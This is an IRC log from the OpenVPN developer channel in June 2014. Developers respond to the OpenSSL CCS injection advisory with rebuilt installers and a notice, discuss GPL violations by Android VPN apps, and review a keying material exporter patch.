wrong 15:29 <@cron2> lol 15:29 <@syzzer> sorry :p 15:29 <@cron2> :) 15:31 * syzzer just patched t_lpback.sh to test all supported cipher modes and found out DES-EDE3-CFB1 is broken... 15:31 <@cron2> whatever that is, but "DES" without a "3" doesn't sound good, not even to me 15:31 <@syzzer> but other algorithms in CFB1-mode work fine - openssl bug perhaps... 15:32 <@syzzer> DES-EDE3 is OpenSSL-lingo for triple-DES 15:32 <@cron2> ... which is not recommended, because "not strong enough", right? 15:35 <@syzzer> triple-DES in still kind of okay, there's just no reason to use it if you have AES available 15:35 <@syzzer> AES is both stronger and faster 15:39 <@syzzer> that is, for volatile, not-very-important data. The effort to break 3DES is still significant, so only quite powerful adversaries may be able to break it 15:40 <@syzzer> ah, there's the OpenSSL DES-EDE3-CFB1 bug: http://rt.openssl.org/Ticket/Display.html?id=2867 15:40 <@vpnHelper> Title: Login (at rt.openssl.org) 15:41 <@syzzer> (for those who want to view it, use guest:guest) 15:45 < debbie10t> cron2: thank you for reply to forum 15:52 <@cron2> yeah, bug with fix, no action for 2 years, looks like openvpn trac *oops* 16:04 <@syzzer> the painful truth... 16:06 -!- debbie10t [~ma1com10t@host-92-20-43-236.as13285.net] has quit [Ping timeout: 260 seconds] 16:48 <@syzzer> hmm, so, I can patch t_lpback.sh to test all the ciphers --show-ciphers lists, but some of them are simply broken for specific openssl versions :/ 16:48 <@syzzer> but I'd like to test more ciphers, because that would have caught the OFB/CFB breakage f.e. 19:44 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Thu Jun 05 2014 01:29 -!- mattock_afk is now known as mattock 01:53 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 02:04 <@cron2> syzzer: well, let's test all but 3DES, and we're not going to use that anyway 02:23 <@vpnHelper> RSS Update - gitrepo: refine assertion to allow other modes than CBC <https://github.com/OpenVPN/openvpn/commit/be46a2c083a6bd77754bc1674249eab583d25dac> 02:35 <@cron2> syzzer: if you feel bored, a review of parts 2..6 of the GOST patches would be welcome :-) (as it's not really "GOST" related, but more "extend openvpn<->openssl-engine flexibility", if I understand that right) 03:47 <@syzzer> cron2: yeah, I have it on my list :) discovered them last week when trying to het CFB and OFB working - I wasn't on the list when d12fk posted them 03:58 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:03 <@plaisthos> .oO(Openssl engine stuff is really cool if you can understand it. There seems almost no documentation about it) 04:24 <@cron2> syzzer: oh, that old. wheee... 05:52 <@plaisthos> "completely new connection mechanism, an old one was thrown out, this new written from zero" 05:52 <@plaisthos> https://play.google.com/store/apps/details?id=com.cryptninja.vpn 05:52 <@plaisthos> aka code in current ics-openvpn version which is not even in the public ics-openvpn version 05:52 <@mattock> plaisthos: what does "connection mechanism" mean by your opinion? 05:54 <@plaisthos> mattock: well disassembly of the app tells me that the code is mine 05:54 <@mattock> did you contact these guys earlier? 05:54 <@mattock> I mean before the "completely new connection mechanism"? 05:55 <@plaisthos> mattock: they wanted me to fix their old app 05:56 <@mattock> as in "it's broken, can you please fix it"? 05:56 <@plaisthos> yeah 05:56 <@mattock> how odd 05:57 <@mattock> and now they're still using your code, just newer? 05:58 <@plaisthos> yes 05:58 <@mattock> and the new code is GPLv2 licensed 05:58 <@plaisthos> as was the old one 05:58 <@mattock> yeah 05:59 <@mattock> can you give me their email? I could tease them a bit on my part 05:59 <@mattock> or did I do that already? so many GPL violators, can't recall.. 05:59 <@plaisthos> mattock: I can send you my "notes on gpl violations" text I compiled 05:59 <@mattock> ok, that'd be great! 06:00 <@mattock> I have some on my list already 06:00 <@plaisthos> it is far frome complete 06:01 <@plaisthos> I will add the ones which paid for a UI license and played nice 06:01 <@plaisthos> (I don't know if they still do show the GPLv2 stuff for the openvpn binary ...) 06:05 <@plaisthos> It is in an emacs org file 06:06 <@plaisthos> but should readable with every editor 06:07 <@plaisthos> if you have questions just ask 06:11 <@plaisthos> https://play.google.com/store/apps/details?id=com.avast.android.vpn 06:11 <@plaisthos> isn't avast some big company? 06:15 <@mattock> yes, it's fairly big 06:15 <@mattock> they do the antivirus thing afaik 06:15 <@plaisthos> I am not sure how much of their UI is based on my 06:16 <@plaisthos> they did obfuscation 06:16 <@plaisthos> but ... 06:16 <@plaisthos> OpenVPN is in there 06:17 <@plaisthos> strings lib/armeabi-v7a/libopenvpn.so|grep "built on " 06:17 <@plaisthos> OpenVPN 2.3_beta1 android-14-armeabi-v7a [SSL (OpenSSL)] [LZO] [EPOLL] [MH] [IPv6] built on Jun 7 2013 06:17 <@mattock> does the avast android app look suspiciously like yours? 06:17 <@plaisthos> no 06:18 <@plaisthos> one that doesn't 06:18 <@mattock> maybe they actually wrote their own? 06:18 <@mattock> such an old openvpn version 06:18 <@mattock> 2.3_beta1 06:18 <@plaisthos> largely yes 06:19 <@mattock> besides those who have bought a license for the GUI who have you contacted? 06:19 <@mattock> regarding the source code and/or license fees 06:20 <@plaisthos> the cryptninja contacted me 06:20 <@mattock> help no work plz fix urgent 06:20 <@mattock> :P 06:21 <@plaisthos> other have contacted why questions of writing a GUI and always explain the GPL situation and my hourly rate is not "10 EUR/h cheap code monkey" and most times never heard of them again 06:22 <@mattock> that would be too cheap 06:22 <@mattock> any idea if they're european or US companies/people? 06:22 <@plaisthos> which ones? 06:22 <@plaisthos> I have dig out the old emails 06:23 <@mattock> those who you've not heard about 06:23 <@plaisthos> iirc all over the place 06:23 <@mattock> ok 06:23 <@plaisthos> the "help me fix plz" guy is russion 06:25 <@plaisthos> some of them have gmail addresses, so it is hard to say for them 06:25 <@plaisthos> hm 06:25 <@plaisthos> avast: 06:25 <@plaisthos> const-string v0, "kMGTPE" 06:26 <@plaisthos> that string in that class looks suspicious 06:27 <@plaisthos> the same humanReadableByteCount in the same class 06:28 <@plaisthos> probably just "liberal copy & paste" 06:30 <@cron2> what is "kMGTPE"? Is this just a magic string "plaisthos was here"? 06:31 <@plaisthos> cron2: http://stackoverflow.com/questions/3758606/how-to-convert-byte-size-into-human-readable-format-in-java 06:31 <@vpnHelper> Title: formatting - How to convert byte size into human readable format in java? - Stack Overflow (at stackoverflow.com) 06:31 <@plaisthos> it is actually that 06:31 <@plaisthos> but the source code could also be copied from the old BSD license 06:31 <@cron2> ah :) 06:34 <@plaisthos> I am almost sure that the file is copied from some version of my app 06:34 <@plaisthos> although most strings are generic liek "Openvpn requires Authentication type \'%s\' but no password/key information available" 06:34 <@mattock> I'm wondering when we could drop 2.3.2 from the download page... has 2.3.4 proven itself, or do we need to keep 2.3.2 around as the new "oldstable"? 06:34 <@plaisthos> that all generic strings are the same as in my app is an odd coincidence? 06:35 <@mattock> when we drop 2.2.2 06:41 <@mattock> plaisthos: sounds quite unlikely 06:41 <@syzzer> the game is on: http://www.openssl.org/news/secadv_20140605.txt 06:42 <@plaisthos> syzzer: sigh, more ssl vulnerability? 06:42 <@syzzer> jup, 7-in-1 this time 06:43 <@mattock> building new installers 06:43 <@mattock> will take a while because we need 2.3.4-I002, 2.3.2-I005 and 2.3.4-I602 (NDIS 6) 06:44 <@plaisthos> guess i publish a client today 06:44 <@syzzer> you don't ship with openssl, right? 06:44 <@plaisthos> yes 06:45 <@plaisthos> not yet ... 06:45 <@cron2> openssl security advisory is out 06:45 <@cron2> ah 06:45 <@cron2> syzzer already got it 06:45 <@cron2> mattock: thanks 06:50 <@cron2> syzzer: do you think any of these bugs affects us? Right now this looks quite harmless (especially as we never never released anything with RELEASE_BUFFERS :) ) - except maybe for the first one 06:56 <@plaisthos> cron2: SSL/TLS MITM vulnerability (CVE-2014-0224) 06:56 <@plaisthos> seems to affect all SSL/TLS? 06:57 <@plaisthos> (whatever the difference between OpenSSL core and developement team is) 07:01 <@mattock> if you guys can reliably estimate the impact of these vulnerabilities on OpenVPN, I can adjust the announcements accordingly 07:03 <@plaisthos> we can ignore the DTLS stuff, 07:03 <@plaisthos> the SSL/TLS MITM needs both server and lcient vulnerable 07:04 <@cron2> yeah, the MITM stuff sounds like it needs immediate attention, but as soon as one side is fixed, you're good 07:04 <@cron2> mattock: "reliably"? ;-) 07:04 <@plaisthos> Servers 07:04 <@plaisthos> are only known to be vulnerable in OpenSSL 1.0.1 and 1.0.2-beta1 07:04 <@plaisthos> is 1.0.1 now 1.0.1* or just 1.0.1? 07:05 <@mattock> cron2: as in: "this does not affect openvpn" as opposed to "I think this does not affect OpenVPN" :) 07:05 <@mattock> if we can't be sure then I'll say "All Windows users of OpenVPN _should_ upgrade their installations immediately" 07:06 <@plaisthos> OpenSSL TLS clients enabling anonymous ECDH ciphersuites are subject to a 07:06 <@plaisthos> denial of service attack. 07:07 <@cron2> mattock: I would go for "should upgrade", the MITM thing is too risky 07:08 <@mattock> let's do that then 07:14 <@syzzer> cron2: yes, the MITM definitely affects us 07:18 <@mattock> hmm, what version of openvpn-gui is included in 2.3.2-I004? 07:18 <@mattock> did we upgrade the GUI to the latest one also for 2.3.2? 07:18 <@cron2> bbl... day care summer party... 07:19 <@cron2> mattock: I htink you did, people asked about the new icons 07:19 <@mattock> ok, good 07:19 <@mattock> I'll rebuild with the new gui 07:19 <@syzzer> all the other issues don't affect us (we don't do DTLS, we don't use SSL_MODE_RELEASE_BUFFERS yet, we don't do anonymous ECDH, and the ECDSA FLUSH+RELOAD attack was already fixed in 1.0.1g) 07:20 <@mattock> second set of installers (2.3.2) coming up 07:21 <@mattock> NDIS 6 version of 2.3.4 next 07:21 <@mattock> probably takes 1-2 hours to get these files releases 07:30 <@plaisthos> syzzer: I think I will just ship my next version with 1.0.1h included and stop caring about the different openssl versions in Android and if it affects me 07:30 <@syzzer> yeah, probably easier for you. You just need to be prepared to relesae ad-hoc then... 07:48 -!- GrantK [4CL3rNSM5a@bolt.sonic.net] has joined #openvpn-devel 08:20 -!- dazo_afk is now known as dazo 08:53 <@syzzer> mattock: do you have an advisory text ready? could you then reply to the mail of Mike Tancsa? Or shall I give it a quick go? 08:54 <@plaisthos> oh fun ..... 08:55 <@mattock> syzzer: I wrote something, yes 08:55 <@plaisthos> android's openssl is rather heavyly patched 08:55 <@mattock> last bunch of installers is in the oven 08:55 <@plaisthos> syzzer: sorry :( 08:55 <@syzzer> ok, good. /me goes back into hiding ;) 08:55 <@plaisthos> for my quick reply 09:00 <@syzzer> hm, haven't seen any replies yet. The list is quite slow lately... 09:01 <@mattock> sent a response to Mike 09:02 <@syzzer> ok, nice :) I meant the reply plaisthos was talking about 09:10 < n13l> syzzer: Hi, when should i expect ackin ekm patch ? :) 09:10 < n13l> syzzer: btw i made interest progress on openvpn's tls authentication using that patch 09:12 < n13l> syzzer: it seems that solution does not require other openvpn patches 09:15 <@plaisthos> whatever tls channel id the patch is failing :/ 09:16 < n13l> plaisthos: omg no :) 09:24 <@plaisthos> n13l: hm 09:24 <@plaisthos> ? 09:24 <@plaisthos> n13l: not your channel id patch 09:25 -!- GrantK [4CL3rNSM5a@bolt.sonic.net] has quit [Quit: GrantK] 09:25 <@plaisthos> the channelid for android's openssl 09:25 <@mattock> ah, final set of installers ready 09:25 <@mattock> now a few smoketests and I'll make the release 09:28 <@plaisthos> oh great, the CVS fix and the channel id patch modify the same code :( 09:30 < n13l> plaisthos: I made patch based on Keying Material Exporters [RFC 5705] 09:31 < n13l> plaisthos: but it is very close to TLS Channel Bindings 09:31 <@plaisthos> n13l: ah your tls_channel_id confused me then 09:34 < n13l> n13l: It's confusing but I still dont know better name for some identifier which lives across TLS (re)negotiations :( 09:35 <@plaisthos> hm 09:35 * plaisthos is not crazy enough to adept the channel id patch or the cvs fix 09:36 <@plaisthos> cve fix 09:48 <@mattock> all installers and binaries seem to work ok 09:56 <@syzzer> n13l: dazo agreed to take a look at the plugin relevant bits 09:57 <@dazo> syzzer: n13l: It's on my todo list for today 09:57 <@syzzer> when he's okay with that we can ACK the patch 09:57 <@dazo> (finally) 09:59 <@dazo> syzzer: Just to be sure we're talking about the same .... "[Openvpn-devel] [PATCH] Keying Material Exporters [RFC 5705]" ... That's the thread? 09:59 <@dazo> Or is it "[Openvpn-devel] [PATCH] Add support for Keying Material Exporter [RFC 5705]" ? 10:04 <@mattock> http://openvpn.net/index.php/download/community-downloads.html 10:04 <@vpnHelper> Title: Community Downloads (at openvpn.net) 10:11 <@mattock> mails away 10:11 <@mattock> now forums 10:17 <@mattock> done 10:52 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:54 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 10:54 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:09 -!- GrantK [Y443SBvGFe@bolt.sonic.net] has joined #openvpn-devel 11:11 <@syzzer> dazo: its the most recent one, from 26-5-2014: [PATCH] Add support for Keying Material Exporter[RFC 5705] 11:12 <@dazo> Goodie! Then I'm looking at the right one :) 11:13 <@syzzer> hehe :) 11:29 -!- GrantK [Y443SBvGFe@bolt.sonic.net] has quit [Quit: GrantK] 11:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 11:35 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 12:27 <@dazo> syzzer: still around? 12:28 <@dazo> n13l: or maybe you're around? 12:28 * cron2 is around! 12:28 <@mattock> better to be around, than to be round 12:28 <@mattock> :P 12:28 <@mattock> I'm around 12:28 <@dazo> cron2: mattock: want to discuss the RFC 5705 patch with me? ;-) 12:28 <@cron2> dazo: no 12:29 <@dazo> :) 12:29 <@mattock> dazo: I can say "yes, yes, sounds reasonable" 12:29 <@mattock> :D 12:29 * dazo thought so 12:29 * cron2 can only say "I've never needed that, I have no idea what he is doing, and I can't even say the code looks good because it touches openssl" :) 12:30 <@cron2> so I'm abstaining here... if you think this is useful and you or syzzer ack it, I'm happy to merge it - but otherwise i'll focus on bits that I do understand :) 12:30 <@dazo> mattock: So if I say "I don't know anything about this patch, but you find it good and will take all blame if it's a security breach, mattock?" .... you will then say "yes, yes, sounds reasonable" ........ 12:30 <@mattock> dazo: I take back what I said 12:30 <@dazo> lol 12:31 <@dazo> cron2: The patch has its use cases ... and I'll probably make use of it in my krb5 support stuff (still working on it) 12:32 <@dazo> I just want to ensure that the exported key material stuff is only exported from openvpn, and not intended to be fed back to openvpn 12:32 <@cron2> dazo: as I said, if someone I trust sees a need for it and acks it, I'm fine to merge it :) 12:32 <@dazo> :) 12:34 < n13l> dazo: hi, yup im here 12:36 <@dazo> n13l: cool! So .... can you confirm that with --keying-material-exporter, some data will be exported to plugins/script via tls_binding_key env.variable which blends in the "label" string ... and the purpose is to only use this env.variable contents by the plugin/script? 12:36 <@dazo> (not to be fed back to openvpn, to do some more stuff inside openvpn) 12:36 < n13l> dazo: exactly 12:36 < n13l> dazo: there's existing plugin use case allready! 12:36 < n13l> dazo: http://n13l.github.io/qrview/images/qrcode-xp1.png 12:37 <@dazo> right .... okay, then I know better how to look at the code paths syzzer didn't want to dig into 12:37 < n13l> dazo: openvpn client does not need trustet certificate and other user related (sensitive) data on PC station 12:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:38 < n13l> dazo: plugin shows QRCode based on TLS crypto derivates and u can authenticate using existing confidetanl channel (using smartphone for example) 12:38 <@dazo> I see 12:39 <@dazo> I remember vaguely you described something like that for me a long while ago 12:39 < n13l> dazo: + it is able to detect all possible MITM attacks 12:39 < n13l> dazo: and PC is without certificate (priv keys etc) 12:47 < n13l> dazo: btw I working on TLS signalling related to authentication states based on these Keying Material Exporters and Channel Bindings 12:48 < n13l> dazo: TLS (re)negotiation will be used as and asynch signalling mechanism. Authentication started, QRCode used phone, Authentication finished 12:49 < n13l> TLS Handshake Message for Supplemental Data [RFC 4680] will be used for signalling in TLS (re)negotiations handshakes 12:57 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 13:23 <@mattock> syzzer: should we perhaps make some kind of formal announcement about this MITM issue just like we did for heartbleed? 13:24 <@mattock> for example, and article in this section: https://community.openvpn.net/openvpn#Announcements 13:24 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 13:25 <@syzzer> mattock: yes, yes, sounds reasonable ;) 13:25 <@mattock> lol 13:25 <@mattock> syzzer: will you write something up? 13:26 <@mattock> I hope I get the answer I'm expecting :P 13:26 <@syzzer> yes, yes, sounds reasonable... 13:26 <@mattock> james can probably also chime in 13:26 <@mattock> yes, yes, sounds reasonable 13:26 <@mattock> uh, I so did not see where this one sentence would lead us 13:28 <@syzzer> mattock: I'll start on a page, you'll revise it a bit and put it on the landing page. Deal? 13:28 <@mattock> sounds good! 13:29 <@mattock> maybe add short comments about the other vulnerabilities fixed in 1.0.1h which don't affect openvpn 13:29 <@mattock> so that people don't bug us with questions about them 13:47 <@syzzer> mattock: https://community.openvpn.net/openvpn/wiki/CCSInjection 13:47 <@vpnHelper> Title: CCSInjection – OpenVPN Community (at community.openvpn.net) 13:50 <@syzzer> n13l: I'm not so sure on adding TLS Handshake Message for Supplemental Data (RFC4680) to OpenVPN... 13:50 <@mattock> syzzer: I made a few minor adjustments 13:51 <@syzzer> EKM is local, poses few extra threats. This sounds like your typical hack-something-into-TLS extension, which make an already complex protocol even more complex... 13:52 <@syzzer> mattock: looks good, maybe add a link to the download page for the windows installers? 13:52 <@mattock> yes, makes sense 13:54 <@mattock> done 13:58 <@mattock> syzzer: added a mention of tls auth also to the end of the vulnerability description 14:12 <@syzzer> hmm, this guy on hacker news actually has a good comment 14:13 <@syzzer> tls-auth might not really protect a user here, because TLS-auth does not offer replay protection 14:14 <@syzzer> so a mitm could simply replay an earlier captured ChangeCipherSpec message in the next connection attempt 14:20 <@mattock> syzzer: do you have a link? 14:21 <@syzzer> oh, wait, I see my coworker already responded 14:23 <@syzzer> tls-auth does provide replay protection, I just didn't find it in the code this quickly :p 14:23 <@syzzer> https://news.ycombinator.com/item?id=7852835 14:23 <@vpnHelper> Title: I think that whether tls-auth protects you against CCS Injection will hinge not ... | Hacker News (at news.ycombinator.com) 14:38 <@syzzer> afk now, see ya :) 14:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:39 <@dazo> n13l: still around? 15:40 <@dazo> n13l: first look through on the code review looks good, and I'm testing it now ... And I do get tls_binding_key env.variable in PLUGIN_TLS_FINAL 15:43 <@dazo> but that key is still present later on too .... client side: PLUGIN_IPCHANGE, PLUGIN_UP, PLUGIN_ROUTE_UP and PLUGIN_ROUTE_DOWN .... server side: PLUGIN_IPCHANGE, PLUGIN_CLIENT_CONNECT_V2 (probably V1 too), PLUGIN_LEARN_ADDRESS and PLUGIN_CLIENT_DISCONNECT ... is that intentional? 15:43 <@dazo> the format of the string is also '7405420b 96a28db9 a46daea0 47ec806a' ... is that a sensible format? 15:44 * dazo continues with some valgrind checks and glares at the code again 15:55 * dazo takes the discussion to the ML 17:07 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 17:23 < n13l> dazo: yes im still here. I reply to the ML 17:27 < n13l> syzzer: I can understand your point of view and it's not so easy to list all relevant arguments right now (btw it will probably work without adding support of RFC4680 into openvpn) 17:28 < n13l> syzzer: btw using another derivation from EKM when using material for authenticating TLS itself forumula is: SHA1(KeyingMaterialExporter + ServerPublicKey) 18:22 -!- dazo is now known as dazo_afk 19:11 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 20:03 < n13l> syzzer: hopefully i will catch you soon here because i would like to discuss several ideas in more detail 23:17 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:17 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 23:17 -!- mattock_afk is now known as mattock --- Day changed Fri Jun 06 2014 00:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 00:15 -!- Netsplit *.net <-> *.split quits: n13l, @pekster, +roentgen, @dazo_afk, @mattock, ender|, @andj, @cron2, riddle, @syzzer 00:28 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 00:28 -!- Netsplit over, joins: @mattock, +roentgen, @dazo_afk, n13l 00:28 -!- ServerMode/#openvpn-devel [+oovo plai mattock roentgen dazo_afk] by asimov.freenode.net 00:28 -!- Netsplit over, joins: ender|, @syzzer, @pekster, riddle, @andj, @cron2 00:29 -!- Netsplit *.net <-> *.split quits: n13l, @pekster, @plai, +roentgen, @dazo_afk, @mattock, ender|, @andj, @cron2, riddle, (+1 more, use /NETSPLIT to show all of them) 00:34 -!- Netsplit over, joins: @plai, @mattock, +roentgen, @dazo_afk, ender|, @syzzer, @pekster, riddle, n13l, @andj (+1 more) 01:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:15 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 02:19 <@syzzer> dazo: thanks! this is exactly why I wanted someone with deeper knowledge of the plugin design to take a look at the patch :) 02:31 <@cron2> argh 02:31 <@cron2> *rant* 02:32 * cron2 has an OpenVPN server based on a slightly oldish OpenWRT here, which has ossl 0.9.8 - which was nice for the last round, but this time it would be good to upgrade that... 02:33 <@syzzer> does openwrt even provide updates other than new images? 02:34 <@cron2> for the packages tree, yes (and openssl is "package"). But in general their update policy for "things" is not so well-defined 02:39 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 02:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:58 -!- dazo_afk is now known as dazo 04:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 04:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:22 -!- dazo_afk is now known as dazo 04:25 <@dazo> n13l: I'm here, whenever you want to discuss 04:26 <@dazo> syzzer: does polarssl have an equivalent to SSL_export_keying_material() ? 05:04 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Quit: ZNC - http://znc.in] 05:05 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:15 <@plaisthos> cron2: I put a version with the 4.3.3 persistent-tun fix to the beta channel 05:16 <@plaisthos> without myself having a 4.4.3 device I don't feel like realeasing it to the wide public 06:15 <@syzzer> dazo: no, polarssl has no support, and I'm not sure whether they will add it 06:18 <@plaisthos> I bet you can play: find the most obscore TLS feature 06:18 <@plaisthos> extra multiplicator for every library that supports it 07:09 <@cron2> *sigh*... trying to rebuild openvpn+openssl for openwrt, and the first thingk exploding in my face is "gmake on gentoo is too new" 07:45 <@plaisthos> the good news is android openssl has import the CCS bugfix 08:11 <@syzzer> plaisthos: in the 4.4.3 release already? 08:25 <@plaisthos> syzzer: no 08:26 <@plaisthos> syzzer: that change was commited today at 15:25 to master ;) 08:26 <@plaisthos> err no, 7:29 but still 08:26 <@plaisthos> :) 08:27 <@plaisthos> no idea if there is now going to be a new release to fix that bug 09:27 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 09:39 -!- GrantK [~GrantK@bolt.sonic.net] has joined #openvpn-devel 10:17 <@cron2> hah! success! 0.9.8za + openvpn 2.3.4 for ar71xx 10:18 <@dazo> cron2: care to share them? 10:19 <@plaisthos> I find it funny that openssl ran out of letters :) 10:19 <@cron2> http://www.greenie.net/ipv6/backfire-10.03/ - but use with care, I have no idea yet whether they actually *work* 10:19 <@vpnHelper> Title: Index of /ipv6/backfire-10.03 (at www.greenie.net) 10:20 <@cron2> testing this just now :) (and from the sounds in the background, "now" will be interrupted by "family demanding food and fatherly care") 10:21 <@cron2> ignore the -201000307 bit, that was a leftover from not properly setting up the Makefile 10:21 <@cron2> OpenVPN 2.3.4 mips-openwrt-linux-gnu [SSL (OpenSSL)] [LZO] [MH] [IPv6] built on Jun 6 2014 10:21 <@cron2> library versions: OpenSSL 0.9.8za 5 Jun 2014, LZO 2.03 10:21 <@cron2> "it seems to do something" 10:22 <@cron2> do *not* use it, it's broken 10:22 <@cron2> it will call /bin/ip instead of /usr/bin/ip 10:23 <@cron2> it works if you set a symlink, but that is "not right". Will rebuild and post later 10:26 <@dazo> nice! 10:27 <@cron2> *sigh* 10:27 <@cron2> our build revolution list --with-iproute-path=... 10:28 <@cron2> it's now IPROUTE=/usr/sbin/ip *grumble* *rebuild* 10:31 <@cron2> ok, it does work, just the wrong iproute path. And fixed openssl :-) - so 98% success. Rebuilding, takes ages on this dual-atom box... "later tonight" 10:40 -!- GrantK [~GrantK@bolt.sonic.net] has quit [Quit: GrantK] 10:55 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 10:55 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 11:08 -!- siruf [~siruf@unaffiliated/motley] has quit [Quit: Lost terminal] 11:09 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:19 <@pekster> cron2: There's always --iproute , but yea, better to build the right path for the platform being used 11:20 <@pekster> IIRC Gentoo _still_ has a bug whining about the fact that you can't set ifconfig path becuase they (once!) changed the path in some version bump. My solution of using --iproute to set the path was ignored, and they went back to discussing using execepe() everywhere 11:20 * pekster lost interest in that bug after the insanity 11:21 <@pekster> rather, execvpe() 11:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:41 <@cron2> pekster: indeed, they are still occasionally ranting in that bug 11:42 <@cron2> dazo: openvpn_2.3.4-3_ar71xx.ipk is working right, same URL 11:47 <@cron2> now for those brcm24 8.09 boxes... 12:20 <@cron2> done! http://www.greenie.net/ipv6/kamikaze-8.09.2/ - though I have *no* idea whether they actually work, because if I mess up one of the devices out there, I have to drive somewhere and fix it... 12:20 <@vpnHelper> Title: Index of /ipv6/kamikaze-8.09.2 (at www.greenie.net) 13:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 13:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 13:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:44 <@cron2> so. major annoyance patched...! 15:26 -!- n13l [~Daniel@aaa.anect.cz] has quit [Write error: Broken pipe] 15:53 <@dazo> cron2: thx a lot! openvpn at least started .... will test more in the coming days 15:53 <@dazo> btw ... I'll be on holiday from June 8-22 ... so I'll sure have some real chances to test it :) 15:56 <@cron2> dazo: oh, have fun :) - where are you traveling to? 16:05 <@dazo> Scotland ... we're going to travel around, so it'll be a little adventure :) 16:07 <@dazo> mattock: https://openvpn.net/index.php/access-server/download-openvpn-as-sw/113.html?osfamily=RedHat .... the proper spelling is "Red Hat", with a space. And it's not Red Hat 6, it's either RHEL 6 or Red Hat Enterprise Linux 6 ... just to have the brand and trademarks correct 16:07 <@vpnHelper> Title: Access Server Downloads (at openvpn.net) 16:07 <@dazo> I dunno if you're the one to blame, mattock ... but you sure can channel it in the right direction :) 16:08 <@dazo> http://www.redhat.com/f/pdf/corp/trademark_usage.pdf ... for more info :-P 16:18 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 16:21 <@plaisthos> dazo: speaking of that stuff, do you still need to pass a very expensive Red Hat certification to be allowed to be a Red Hat (as in a hat to wear) 16:29 <@dazo> plaisthos: I honestly don't know ... but I know it works well to become a RH employee ;-) 17:57 <@mattock> dazo: I had nothing to do with it, but I channeled it into the right direction :) 17:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 18:08 -!- dazo is now known as dazo_afk --- Day changed Sat Jun 07 2014 01:26 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 01:29 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 03:58 -!- Netsplit *.net <-> *.split quits: +krzee, @dazo_afk, @raidz 03:59 -!- Netsplit over, joins: @dazo_afk, +krzee, @raidz 04:01 -!- Netsplit *.net <-> *.split quits: +novaflash, +krzee, siruf, riddle, @pekster, +roentgen, @dazo_afk, @cron2, @syzzer, @raidz, (+4 more, use /NETSPLIT to show all of them) 04:01 -!- Netsplit over, joins: riddle, @pekster, @syzzer, ender|, @plaisthos, +novaflash, +roentgen, @dazo_afk, +krzee, @raidz (+4 more) 04:02 -!- Netsplit *.net <-> *.split quits: @dazo_afk 04:04 -!- Netsplit *.net <-> *.split quits: @raidz 04:04 -!- Netsplit over, joins: @dazo_afk 04:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 04:09 -!- ServerMode/#openvpn-devel [+o raidz] by asimov.freenode.net 09:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping 